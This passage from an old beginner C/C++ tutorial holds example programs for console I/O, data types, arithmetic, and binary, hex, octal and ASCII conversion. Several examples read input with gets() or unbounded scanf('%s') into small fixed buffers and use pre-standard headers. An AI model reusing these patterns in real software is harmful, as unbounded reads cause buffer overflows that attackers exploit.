cout<<"\nHow are you, Ms/Mrs "<<name<<" "<<name1<<endl;

system("pause");

return 0;
}

-----------------------------------------------------------------------------------

#include <stdio.h>

int main()
{
/*normal variable and array with their respective data type*/
char sex, name[11], name1[11];

printf("Enter your sex (M or F): ");


scanf("%c", &sex);

printf("Enter your first name (max 10 characters): ");


scanf("%s", &name);

printf("Enter your last name (max 10 characters): ");


scanf("%s", &name1);

/*test whether male or female*/


if (sex == 'M')

file:///C|/Tutorial.txt (4 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*array name without brackets is the pointer to the first*/


/*array's element*/
printf("\nHow are you, Mr. %s %s.\n", name, name1);
else
printf("\nHow are you, Ms/Mrs. %s %s\n", name, name1);

return 0;
}

---------------------------------------------------------------------------------------

//one line comment in program, C++


/*multiple lines comment, C - Program to display
square and square root for a given number*/
/*for sqrt() function*/
#include <math.h>
/*for printf() and scanf()*/
#include <stdio.h>
//for system()
#include <stdlib.h>

int main()
{
/*variable named x and floating-point data type*/
float x;

/*standard output*/
printf("\nEnter one positive number (1, 2, 3. . .): ");
/*standard input*/
scanf("%f", &x);

printf("\nx = %f ", x);


printf("\nSquare for x is = %f", x * x);

//sqrt() is the predefined function, defined in math.h


printf("\nSquare root for x is = %f\n", sqrt(x));
system("pause");

return 0;
}

----------------------------------------------------------------------------------

/*Simple mathematics calculation


header files…*/
#include <stdio.h>
#include <stdlib.h>

/*main() function…*/
int main( )
{
/*variables declaration*/
int x, y, z;

/*variables initialization*/
/*assign 20 to variable x…*/

file:///C|/Tutorial.txt (5 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*or put the value of 20 in memory location labeled by x*/


x = 20;
y = 2;

printf("Given x = 20, y = 2\n");


printf("\nx / y = %d", x / y);

/*do some calculation*/


x = x * y;
y = y + y;

/*print values*/
printf("\nx = x * y");
printf("\ny = y + y");
printf("\nNew value for x / y = %d", x / y);

z = 20 * y / x;
printf("\nz = 20 * (y / x) = %d\n", z);
system("pause");
return 0;
}

-------------------------------------------------------------------------------

//Another simple mathematics calculation


//#include <iostream>
//#include <cstdlib>
#include <iostream.h>
#include <stdlib.h>

int main(void)
{
//variables declaration
//variable names and type
float a, b, c;

//variables initialization
a = 2.0;
b = 5.0;
c = b / a;

cout<<"\nGiven a = 2.0, b = 5.0, c = b/a";


cout<<"\nc = "<<c;

c = c + (a/b);

cout<<"\nc = c + (a/b) = "<<c<<endl;

//call the predefined function


//for Borland...
system("pause");
return 0;
}

------------------------------------------------------------------------------

file:///C|/Tutorial.txt (6 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//another mathematics calculation


#include <iostream.h>
#include <stdlib.h>

int main(void)
{
float x, y, z;

//Display for user data on standard output, screen


cout<<"\nKey in 1st positive integer, then press Enter key: ";

//Read the data from standard input, keyboard


cin>>x;

cout<<"Key in 2nd positive integer, then press Enter key: ";


cin>>y;

cout<<"Key in 3rd positive integer, then press Enter key: ";


cin>>z;

cout<<"\nAverage for three numbers is \n";


cout<<"\n = ("<<x<<"+"<<y<<"+"<<z<<")/3 = "<<(x+y+z)/3<<"\n";

system("pause");
return 0;
}

----------------------------------------------------------------------------

//echo program command-line arguments


//program example
#include <stdio.h>

int main(int argc, char *argv[])


{
int x;

for(x = 1; x < argc; x++)


printf("%s%s", argv[x],(x<argc-1) ? " ": "");
printf("\n");
return 0;
}

-------------------------------------------------------------------------

//another mathematics calculation


//compiled using VC++/VC++ .Net
#include <iostream>
using namespace std;

int main(void)
{
float x, y, z;

//Display for user data on standard output, screen


cout<<"\nKey in 1st positive integer, then press Enter key: ";

file:///C|/Tutorial.txt (7 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Read the data from standard input, keyboard


cin>>x;

cout<<"Key in 2nd positive integer, then press Enter key: ";


cin>>y;

cout<<"Key in 3rd positive integer, then press Enter key: ";


cin>>z;

cout<<"\nAverage for three numbers is \n";


cout<<"\n = ("<<x<<"+"<<y<<"+"<<z<<")/3 = "<<(x+y+z)/3<<"\n";

return 0;
}

------------------------------VC++/VC++ .Net--------------------------------

//Previous example compiled using


//VC++/VC++ .Net...using C header in C++
#include <iostream>
#include <cstdlib>
using namespace std;

int main(void)
{
float x, y, z;

//Display for user data on standard output, screen


cout<<"\nKey in 1st positive integer, then press Enter key: ";
//Read the data from standard input, keyboard
cin>>x;
cout<<"Key in 2nd positive integer, then press Enter key: ";
cin>>y;
cout<<"Key in 3rd positive integer, then press Enter key: ";
cin>>z;
cout<<"\nAverage for three numbers is \n";
cout<<"\n = ("<<x<<"+"<<y<<"+"<<z<<")/3 = "<<(x+y+z)/3<<"\n";
system("pause");
return 0;
}

-------------------------------gcc------------------------------------------

/*Simple mathematics calculation-simath.c header files.*/


#include <stdio.h>
#include <stdlib.h>

/*main() function.*/
int main()
{
/*variables declaration*/
int x, y, z;

/*variables initialization*/
/*assign 20 to variable x.*/

file:///C|/Tutorial.txt (8 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*or put the value of 20 in memory location labeled by x*/


x = 20;
y = 2;

printf("Given x = 20, y = 2\n");


printf("\nx / y = %d", x / y);

/*do some calculation*/


x = x * y;
y = y + y;

printf("\nx = x * y");
printf("\ny = y + y");
printf("\nNew value for x / y = %d", x / y);

z = 20 * y / x;

printf("\nz = 20 * (y / x) = %d\n", z);

return 0;
}

==============================MODULE2======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------

file:///C|/Tutorial.txt (9 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Data types program example. Change the header files


//accordingly for VC++/VC++ .Net
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>

//main() function
int main()
{
int a = 3000; //positive integer data type
float b = 4.5345; //float data type
char c = 'A'; //char data type
long d = 31456; //long positive integer data type
long e = -31456; //long -ve integer data type
int f = -145; //-ve integer data type
short g = 120; //short +ve integer data type
short h = -120; //short -ve integer data type
double i = 5.1234567890; //double float data type
float j = -3.24; //float data type

cout<<"Welcome Ladies and Gentlemen!!\n";


cout<<"Here are the list of the C/C++ data type\n";
cout<<"\n1. This is positive integer number (int):\t\t"<<a;
cout<<"\n2. This is positive float number (float):\t\t"<<b;
cout<<"\n3. This is negative float number(float):\t\t"<<j;
cout<<"\n4. This is character data (char):\t\t\t"<<c;
cout<<"\n5. This is long positive integer number(long):\t\t"<<d;
cout<<"\n6. This is long negative integer number(long):\t\t"<<e;
cout<<"\n7. This is negative integer number(int):\t\t"<<f;
cout<<"\n8. This is short positive integer number(short):\t"<<g;
cout<<"\n9. This is short negative integer number(short):\t"<<h;
cout<<"\n10. This is double positive float number(double):\t"<<i;
cout<<"\n11.\'This is lateral string\'";
cout<<"\n\t---do you understand?----\n ";

file:///C|/Tutorial.txt (10 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------

//Another data type program example


#include <iostream.h>
#include <stdlib.h>

//main( ) function
void main()
{
int p = 2000; //positive integer data type
short int q = -120; //variation
unsigned short int r = 121; //variation
float s = 21.566578; //float data type
char t = 'r'; //char data type
long u = 5678; //long positive integer data type
unsigned long v = 5678; //variation
long w = -5678; //-ve long integer data type
int x = -171; //-ve integer data type
short y = -71; //short -ve integer data type
unsigned short z = 99; //variation
double a = 88.12345; //double float data type
float b = -3.245823; //float data type

cout<<"\t--Data type again--\n";


cout<<"\t-------------------\n";
cout<<"\n1. \"int\" sample: \t\t"<<p;
cout<<"\n2. \"short\" int sample: \t"<<q;
cout<<"\n3. \"unsigned short int\" sample: "<<r;
cout<<"\n4. \"float\" sample: \t\t"<<s;
cout<<"\n5. \"char\" sample: \t\t"<<t;
cout<<"\n6. \"long\" sample: \t\t"<<u;
cout<<"\n7. \"unsigned long\" sample: \t"<<v;
cout<<"\n8. negative \"long\" sample: \t"<<w;
cout<<"\n9. negative \"int\" sample: \t"<<x;
cout<<"\n10. negative \"short\" sample: \t"<<y;
cout<<"\n11. unsigned \"short\" sample: \t"<<z;
cout<<"\n12. \"double\" sample: \t\t"<<a;
cout<<"\n13. negative \"float\" sample: \t"<<b<<endl;
system("pause");
}

---------------------------------------------------------------------------------------------------------------

//Program to calculate the circumference and area of circle


#include <iostream.h>
#include <stdlib.h>
//define identifier PI with constant
#define PI 3.14159
//define identifier TWO with constant
#define TWO 2.0

file:///C|/Tutorial.txt (11 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
float area, circumference, radius;

cout<<"\nEnter the radius of the circle in meter: ";


cin>>radius;

area = PI * radius * radius;


//circle area = PI*radius*radius

circumference = TWO * PI * radius;


//circumference = 2*PI*radius
cout<<"\nCircumference = "<<circumference<<" meter";
//circle circumference
cout<<"\nCircle area = "<<area<<" square meter"<<endl;
//circle area
system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------

//Using cout from iostream.h header file


#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"Hello there.\n";
cout<<"Here is 7: "<<7<<"\n";
//other than escape sequence \n used for new line, endl...
cout<<"\nThe manipulator endl writes a new line to the screen.\n"<<endl;
cout<<"Here is a very big number:\t" << 10000 << endl;
cout<<"Here is the sum of 10 and 5:\t" << (10+5) << endl;
cout<<"Here's a fraction number:\t" << (float) 7/12 << endl;
//simple type casting, from int to float
cout<<"And a very very big number:\t" << (double) 7000 * 7000<< endl;
//another type casting, from int to double
cout<<"\nDon't forget to replace existing words with yours...\n";
cout<<"I want to be a programmer!\n";
system("pause");
return 0;
}

-----------------------------------------------------------------------------------------------------------

//Comment in C/C++, using /* */ or //


//the // only for C++ compiler
#include <iostream.h>
#include <stdlib.h>

int main()
{
/* this is a comment
and it extends until the closing
star-slash comment mark */

file:///C|/Tutorial.txt (12 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Hello World! How are you?\n";

//this comment ends at the end of the line


//so, new comment line need new double forward slash
cout<<"That is the comment in C/C++ program!\n";
cout<<"They are ignored by compiler!\n";

//double slash comments can be alone on a line


/* so can slash-star comments */

/********************************/
system("pause");
return 0;
}

-----------------------------------------------------------------------------------------------------------------

//By using predefined sizeof() function,


//displaying the data type size, 1 byte = 8 bits
#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"The size of an int is:\t\t"<<sizeof(int)<<" bytes.\n";
cout<<"The size of a short int is:\t"<<sizeof(short)<<" bytes.\n";
cout<<"The size of a long int is:\t"<<sizeof(long)<<" bytes.\n";
cout<<"The size of a char is:\t\t"<<sizeof(char)<<" bytes.\n";
cout<<"The size of a float is:\t\t"<<sizeof(float)<<" bytes.\n";
cout<<"The size of a double is:\t"<<sizeof(double)<<" bytes.\n";
cout<<"The size of a bool is:\t\t"<<sizeof(bool)<<" bytes.\n";

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------------

//Demonstration the use of variables


#include <iostream.h>
#include <stdlib.h>

int main()
{
unsigned short int Width = 7, Length;
Length = 10;

//create an unsigned short and initialize with result


//of multiplying Width by Length
unsigned short int Area = Width * Length;

cout<<"Width:\t"<<Width<<"\n";
cout<<"Length: "<<Length<<endl;
cout<<"Area: \t"<<Area<<endl;

system("pause");

file:///C|/Tutorial.txt (13 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return 0;
}

-----------------------------------------------------------------------------------------------------------------

//To calculate the total amount of money earned in n days


#include <iostream.h>
#include <stdlib.h>

int main( )
{
int n;
int total, rate= 20;

cout<<"Enter number of days worked: ";


cin>>n;

total = n * rate;

cout<<"\n----------------------------";
cout<<"\n| For rate RM20 per day |";
cout<<"\n----------------------------";
cout<<"\n";
cout<<"\nFor "<<n<<" days of work, you have earned $ ";
cout<<total<<endl;

system("pause");
return 0;
}

------------------------------------------------------------------------------------------------------------

//Printing characters base on their


//respective integer numbers

#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"For integer number from 32 till 127,\n";
cout<<"their representation for\n";
cout<<"characters is shown below\n\n";
cout<<"integer character\n";
cout<<"-------------------\n";

for (int i = 32; i<128; i++)


//display up to 127...
cout<<i<<" "<<(char) i<<"\n";
//simple typecasting, from int to char

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (14 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*Sample Boolean tests with bool, true, and false.*/


#include <iostream.h>
#include <stdlib.h>

//non main function


bool func()
{
//Function returns a bool type
return NULL;
//NULL is converted to Boolean false, same
//as statement 'return false;'
}

int main()
{
bool val = false; // Boolean variable
int i = 1; // i is neither Boolean-true nor Boolean-false
int g = 5;
float j = 3.02; // j is neither Boolean-true nor Boolean-false

cout<<"Given the test value: "<<endl;


cout<<"bool val = false "<<endl;
cout<<"int i = 1 "<<endl;
cout<<"int g = 5 "<<endl;
cout<<"float j = 3.02 "<<endl;
cout<<"\nTESTING\n";

//Tests on integers
if(i == true)
cout<<"True: value i is 1"<<endl;
if(i == false)
cout<<"False: value i is 0"<<endl;
if(g)
cout << "g is true."<<endl;
else
cout << "g is false."<<endl;

//To test j's truth value, cast it to bool type.


if(bool(j) == true)
cout<<"Boolean j is true."<<endl;

//Test Boolean function returns value


val = func();

if(val == false)
cout<<"func() returned false."<<endl;

if(val == true)
cout<<"func() returned true."<<endl;

system("pause");
return false;
//false is converted to 0
}

file:///C|/Tutorial.txt (15 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------------------------

//Testing the escape sequences


#include <stdio.h>
#include <stdlib.h>

int main()
{

printf("Testing the escape sequences:\n");


printf("-----------------------------\n");

printf("The audible bell --->\'\\a\' \a\a\a\n");


printf("The backspace --->\'\\b\' \bTesting\n");
printf("The formfeed, printer --->\'\\f\' \fTest\n");
printf("The newline --->\'\\n\' \n\n");
printf("The carriage return --->\'\\r\' \rTesting\n");
printf("The horizontal tab --->\'\\t\' \tTesting\t\n");
printf("The vertical tab --->\'\v\' \vTesting\n");
printf("The backslash --->\'\\\\' \\Testing\\\n");
printf("The single quote --->\'\'\' \'Testing\'\'\'\n");
printf("The double quote --->\'\"\' \"Testing\"\"\n");
printf("The question mark --->\'\?\' \?Testing\?\n");
printf("Some might not working isn't it?\n");

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

int main()
{
int num;

printf("Conversion...\n");
printf("Start with any character and\n");
printf("Press Enter, EOF to stop\n");

num = getchar();

printf("Character Integer Hexadecimal Octal\n");

while(getchar() != EOF)
{
printf(" %c %d %x %o\n",num,num,num,num);
++num;
}

system("pause");
return 0;
}

file:///C|/Tutorial.txt (16 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-----------------------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

/*convert decimal to binary function*/


void dectobin();

int main()
{
char chs = 'Y';

do
{
dectobin();
printf("Again? Y, others to exit: ");

chs = getchar();

scanf("%c", &chs);
}while ((chs == 'Y') || (chs == 'y'));

return 0;
}

void dectobin()
{
int input;

printf("Enter decimal number: ");


scanf("%d", &input);

if (input < 0)
printf("Enter unsigned decimal!\n");

/*for the mod result*/


int i;
/*count the binary digits*/
int count = 0;
/*storage*/
int binbuff[64];

do
{
/* Modulus 2 to get the remainder of 1 or 0*/
i = input%2;
/* store the element into the array */
binbuff[count] = i;
/* Divide the input by 2 for binary decrement*/
input = input/2;
/* Count the number of binary digit*/
count++;
/*repeat*/
}while (input > 0);

/*prints the binary digits*/

file:///C|/Tutorial.txt (17 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf ("The binary representation is: ");

do
{
printf("%d", binbuff[count - 1]);
count--;

if(count == 8)
printf(" ");
} while (count > 0);

printf ("\n");
}

-------------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>
/*for strlen*/
#include <string.h>

/*convert bin to decimal*/


void bintodec()
{
char buffbin[100];
char *bin;
int i=0;
int dec = 0;
int bcount;

printf("Please enter the binary digits, 0 or/and 1.\n");


printf("Your binary digits: ");
bin = gets(buffbin);

i=strlen(bin);

for (bcount=0; bcount<i; ++bcount)


/*if bin[bcount] is equal to 1, then 1 else 0 */
dec=dec*2+(bin[bcount]=='1'? 1:0);
printf("\n");
printf("The decimal value of %s is %d\n", bin, dec);
}

int main(void)
{
bintodec();

return 0;
}

-------------------------------------------------------------------------------------------------------

/*Playing with binary, decimal, hexadecimal


and octal conversion*/
#include <stdio.h>
#include <stdlib.h>

file:///C|/Tutorial.txt (18 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*strlen*/
#include <string.h>

/*octal conversion function*/


void octal(char *octa, int *octares);
/*hexadecimal conversion function */
void hexadecimal(char *hexa, int *hexares);
/*decimal conversion function */
void decimal(char *deci, int *decires);

/*convert binary to decimal*/


void bintodec(void);

/* convert decimal to binary*/


void decnumtobin (int *dec);

int main()
{
/* Yes or No value to continue with program */
char go;
/* Yes or No value to proceed to Binary to Decimal function */
char binY;

char choice1;
char choice2;

/* numtest, value to test with, and pass to functions*/


int numtest;
/* value to convert to binary, and call decnumtobin function*/
int bintest;

int flag;
flag = 0;
go = 'y';

do
{
printf("Enter the base of ur input(d=dec, h=hex, o=octal): ");
scanf("%c", &choice1);
getchar();
printf("\n");

printf("The entered Number: ");


/*If decimal number*/
if ((choice1 == 'd') || (choice1 == 'D'))
{
scanf("%d", &numtest);
getchar();
}

/*If hexadecimal number*/


else if ((choice1 == 'h') || (choice1 == 'H'))
{
scanf("%x", &numtest);
getchar();
}

file:///C|/Tutorial.txt (19 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*If octal number*/


else if ((choice1 == 'o') || (choice1 == 'O'))
{
scanf("%o", &numtest);
getchar();
}

/*If no match*/
else
{
flag = 1;
printf("Only d, h or o options!\n");
printf("Program exit...\n");
exit(0);
}

/*Firstly convert the input 'number' to binary*/


bintest = numtest;
decnumtobin(&bintest);

/*output the hex, decimal or octal*/


printf("\n");
printf("Next, enter the base of ur output (d=dec, h=hex, o=octal): ");
scanf("%c", &choice2);
getchar();

/*If decimal number*/


if ((choice2 == 'd') || (choice2 == 'D'))
decimal (&choice1, &numtest);

/*If hexadecimal number*/


else if ((choice2 == 'h') || (choice2 == 'H'))
hexadecimal (&choice1, &numtest);

/*If octal number*/


else if ((choice2 == 'o') || (choice2 == 'O'))
octal (&choice1, &numtest);

/*if nothing matched*/


else
{
flag = 1;
system("cls");
printf("Only d, h or o options!");
printf("\nProgram exit...");
exit(0);
}

printf("\n\nAn OPTION\n");
printf("=========\n");
printf("Do you wish to do the binary to decimal conversion?");
printf("\n Y for Yes, and N for no : ");
scanf("%c", &binY);
getchar();

file:///C|/Tutorial.txt (20 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*If Yes...*/
if ((binY == 'Y') || (binY == 'y'))

/*Do the binary to decimal conversion*/


bintodec();

/*If not, just exit*/


else if ((binY != 'y') || (binY != 'Y'))
{
flag = 1;
printf("\nProgram exit...\n");
exit(0);
}

printf("\n\n");
printf("The program is ready to exit...\n");
printf("Start again? (Y for Yes) : ");
scanf("%c", &go);
getchar();

/*initialize to NULL*/
numtest = '\0';
choice1 = '\0';
choice2 = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf("-----FINISH-----\n");

return 0;
}

/*===================================================*/
void decimal(char *deci, int *decires)
{
int ans = *decires;
char ch = *deci;

if ((ch == 'd') || (ch == 'D'))


printf("\nThe number \"%d\" in decimal is equivalent to \"%d\" in decimal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%d\" in decimal.\n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))
printf("\nThe number \"%o\" in octal is equivalent to \"%d\" in decimal.\n", ans, ans);
}

/*======================================================*/
void hexadecimal(char *hexa, int *hexares)
{
int ans = *hexares;
char ch = *hexa;

if ((ch == 'd') || (ch == 'D'))


printf("\nThe number \"%d\" in decimal is equivalent to \"%X\" in hexadecimal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%X\" in hexadecimal.\n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))

file:///C|/Tutorial.txt (21 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("\nThe number \"%o\" in octal is equivalent to \"%X\" in hexadecimal.\n", ans, ans);


}

/*========================================================*/
void octal(char *octa, int *octares)
{
int ans = *octares;
char ch = *octa;

if ((ch == 'd') || (ch == 'D'))


printf ("\nThe number \"%d\" in decimal is equivalent to \"%o\" in octal.\n", ans, ans);
else if ((ch == 'h') || (ch == 'H'))
printf("\nThe number \"%X\" in hex is equivalent to \"%o\" in octal. \n", ans, ans);
else if ((ch == 'o') || (ch == 'O'))
printf("\nThe number \"%o\" in octal is equivalent to \"%o\" in octal.\n", ans, ans);
}

void bintodec(void)
{
char buffbin[1024];
char *binary;
int i=0;
int dec = 0;
int z;

printf("Please enter the binary digits, 0 or 1.\n");


printf("Your binary digits: ");
binary = gets(buffbin);

i=strlen(binary);

for(z=0; z<i; ++z)

/*if Binary[z] is equal to 1, then 1 else 0 */


dec=dec*2+(binary[z]=='1'? 1:0);
printf("\n");
printf("The decimal value of %s is %d", binary, dec);
printf("\n");
}

void decnumtobin (int *dec)


{
int input = *dec;
int i;
int count = 0;
int binary[64];

do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/

file:///C|/Tutorial.txt (22 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

count++;
}while (input > 0);

/* Reverse and output binary digits */


printf ("The binary representation is: ");
do
{
printf ("%d", binary[count - 1]);
count--;
} while (count > 0);

printf ("\n");
}

---------------------------------------------------------------------------------------------------------

/*Playing with binary, decimal, hexadecimal


and octal conversion*/
#include <stdio.h>
#include <stdlib.h>
/*strlen()*/
#include <string.h>

/*decimal conversion function */


void decimal(char *deci, int *decires);

/* convert decimal to binary*/


void decnumtobin (int *dec);
int main()
{
/* Yes or No value to continue with program */
char go;

char choice1;
char choice2;
/*numtest, value to test with, and pass to functions*/
int numtest;
/*value to convert to binary, and call decnumtobin function*/
int bintest;

int flag;
flag = 0;
go = 'y';

do
{
printf ("Enter the h for hex input: ");
scanf("%c", &choice1);
getchar();
printf ("\n");
printf ("Enter your hex number lor!: ");

/*If hexadecimal number*/


if ((choice1 == 'h') || (choice1 == 'H'))
{
scanf ("%x", &numtest);

file:///C|/Tutorial.txt (23 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

getchar();
}
else
{
flag = 1;
printf ("Only h!\n");
printf("Program exit...\n");
exit(0);
}

/*Firstly convert the input 'number' to binary*/


bintest = numtest;
decnumtobin(&bintest);

/*output the hex, decimal or octal*/


printf ("\n");
printf ("Enter the d for decimal output: ");
scanf ("%c", &choice2);
getchar();

/*If decimal number*/


if ((choice2 == 'd') || (choice2 == 'D'))
decimal(&choice1, &numtest);

/*else...*/
else
{
flag = 1;
printf("Only d!");
printf("\nProgram exit...");
exit(0);
}

printf ("\n\n");
printf ("The program is ready to exit...\n");
printf ("Start again? (Y for Yes) : ");
scanf ("%c", &go);
getchar();

/*initialize to NULL*/
numtest = '\0';
choice1 = '\0';
choice2 = '\0';
}
while ((go == 'y') || (go == 'Y'));

printf ("-----FINISH-----\n");
return 0;
}

/*===================================================*/
void decimal(char *deci, int *decires)
{
int ans = *decires;
char ch = *deci;

file:///C|/Tutorial.txt (24 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

if ((ch == 'h') || (ch == 'H'))


printf ("\nThe number \"%X\" in hex is equivalent to \"%d\" in decimal.\n", ans, ans);
}

void decnumtobin (int *dec)


{
int input = *dec;
int i;
int count = 0;
int binary[128];

do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);

/* Reverse and output binary digits */


printf ("The binary representation is: ");

do
{
printf ("%d", binary[count - 1]);
count--;

if(count == 4)
printf(" ");
} while (count > 0);
printf ("\n");
}

-----------------------------------------------------------------------------------------------------------------------

/*Playing with hexadecimal and ascii*/


#include <stdio.h>
#include <stdlib.h>
/*strlen*/
#include <string.h>

/*decimal conversion function */


void decimal(int *decires);
/*convert decimal to binary*/
void decnumtobin (int *dec);

int main()
{
/*Program continuation...*/
char go;

/* numtest, value to test with, and pass to functions*/

file:///C|/Tutorial.txt (25 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int numtest;
/* value to convert to binary, and call decnumtobin function*/
int bintest;
int flag = 0;
go = 'y';

do
{
printf("Playing with hex and ASCII\n");
printf("==========================\n");
printf("For hex, 0(0) - 1F(32) are non printable/control characters!\n");
printf("For hex > 7F(127) they are extended ASCII characters that are\n");
printf("platform dependent!\n\n");
printf("Enter the hex input: ");
scanf("%x", &numtest);
getchar();

/*Firstly convert the input 'number' to binary*/


bintest = numtest;
decnumtobin(&bintest);

decimal (&numtest);
printf("\nStart again? (Y for Yes) : ");
scanf ("%c", &go);
getchar();

/*initialize to NULL*/
numtest = '\0';
}
while ((go == 'y') || (go == 'Y'));
printf("-----FINISH-----\n");
return 0;
}

/*===================================================*/
void decimal(int *decires)
{
int ans = *decires;

/*If < decimal 32...*/


if(ans < 32)
{
printf("hex < 20(32) equivalent to non printable/control ascii characters\n");
switch(ans)
{
case 0:{printf("hex 0 is NULL ascii");}break;
case 1:{printf("hex 1 is SOH-start of heading ascii");}break;
case 2:{printf("hex 2 is STX-start of text ascii");}break;
case 3:{printf("hex 3 is ETX-end of text ascii");}break;
case 4:{printf("hex 4 is EOT-end of transmission ascii");}break;
case 5:{printf("hex 5 is ENQ-enquiry ascii");}break;
case 6:{printf("hex 6 is ACK-acknowledge ascii");}break;
case 7:{printf("hex 7 is BEL-bell ascii");}break;
case 8:{printf("hex 8 is BS-backspace ascii");}break;
case 9:{printf("hex 9 is TAB-horizontal tab ascii");}break;
case 10:{printf("hex A is LF-NL line feed, new line ascii");}break;

file:///C|/Tutorial.txt (26 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

case 11:{printf("hex B is VT-vertical tab ascii");}break;


case 12:{printf("hex C is FF-NP form feed, new page ascii");}break;
case 13:{printf("hex D is CR-carriage return ascii");}break;
case 14:{printf("hex E is SO-shift out ascii");}break;
case 15:{printf("hex F is SI-shift in ascii");}break;
case 16:{printf("hex 10 is DLE-data link escape ascii");}break;
case 17:{printf("hex 11 is DC1-device control 1 ascii");}break;
case 18:{printf("hex 12 is DC2-device control 2 ascii");}break;
case 19:{printf("hex 13 is DC3-device control 3 ascii");}break;
case 20:{printf("hex 14 is DC4-device control 4 ascii");}break;
case 21:{printf("hex 15 is NAK-negative acknowledge ascii");}break;
case 22:{printf("hex 16 is SYN-synchronous idle ascii");}break;
case 23:{printf("hex 17 is ETB-end of trans. block ascii");}break;
case 24:{printf("hex 18 is CAN-cancel ascii");}break;
case 25:{printf("hex 19 is EM-end of medium ascii");}break;
case 26:{printf("hex 1A is SUB-substitute ascii");}break;
case 27:{printf("hex 1B is ESC-escape ascii");}break;
case 28:{printf("hex 1C is FS-file separator ascii");}break;
case 29:{printf("hex 1D is GS-group separator ascii");}break;
case 30:{printf("hex 1E is RS-record separator ascii");}break;
case 31:{printf("hex 1F is US-unit separator ascii");}break;
}
}
else
printf ("\nThe number \"%X\" in hex is equivalent to \"%c\" ascii character.\n", ans, ans);
}

void decnumtobin (int *dec)


{
int input = *dec;
int i;
int count = 0;
int binary[128];

do
{
/* Modulus 2 to get 1 or a 0*/
i = input%2;
/* Load Elements into the Binary Array */
binary[count] = i;
/* Divide input by 2 for binary decrement */
input = input/2;
/* Count the binary digits*/
count++;
}while (input > 0);

/* Reverse and output binary digits */


printf("The binary representation is: ");

do
{
printf("%d", binary[count - 1]);
count--;
if(count == 4)
printf(" ");
} while (count > 0);

file:///C|/Tutorial.txt (27 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("\n");
}

----------------------------------------------VC++/VC++ .Net-------------------------------------------------

#include <cstdio>

int main()
{
int num;

printf("Conversion...\n");
printf("Start with any character and\n");
printf("Press Enter, EOF to stop\n");

num = getchar();

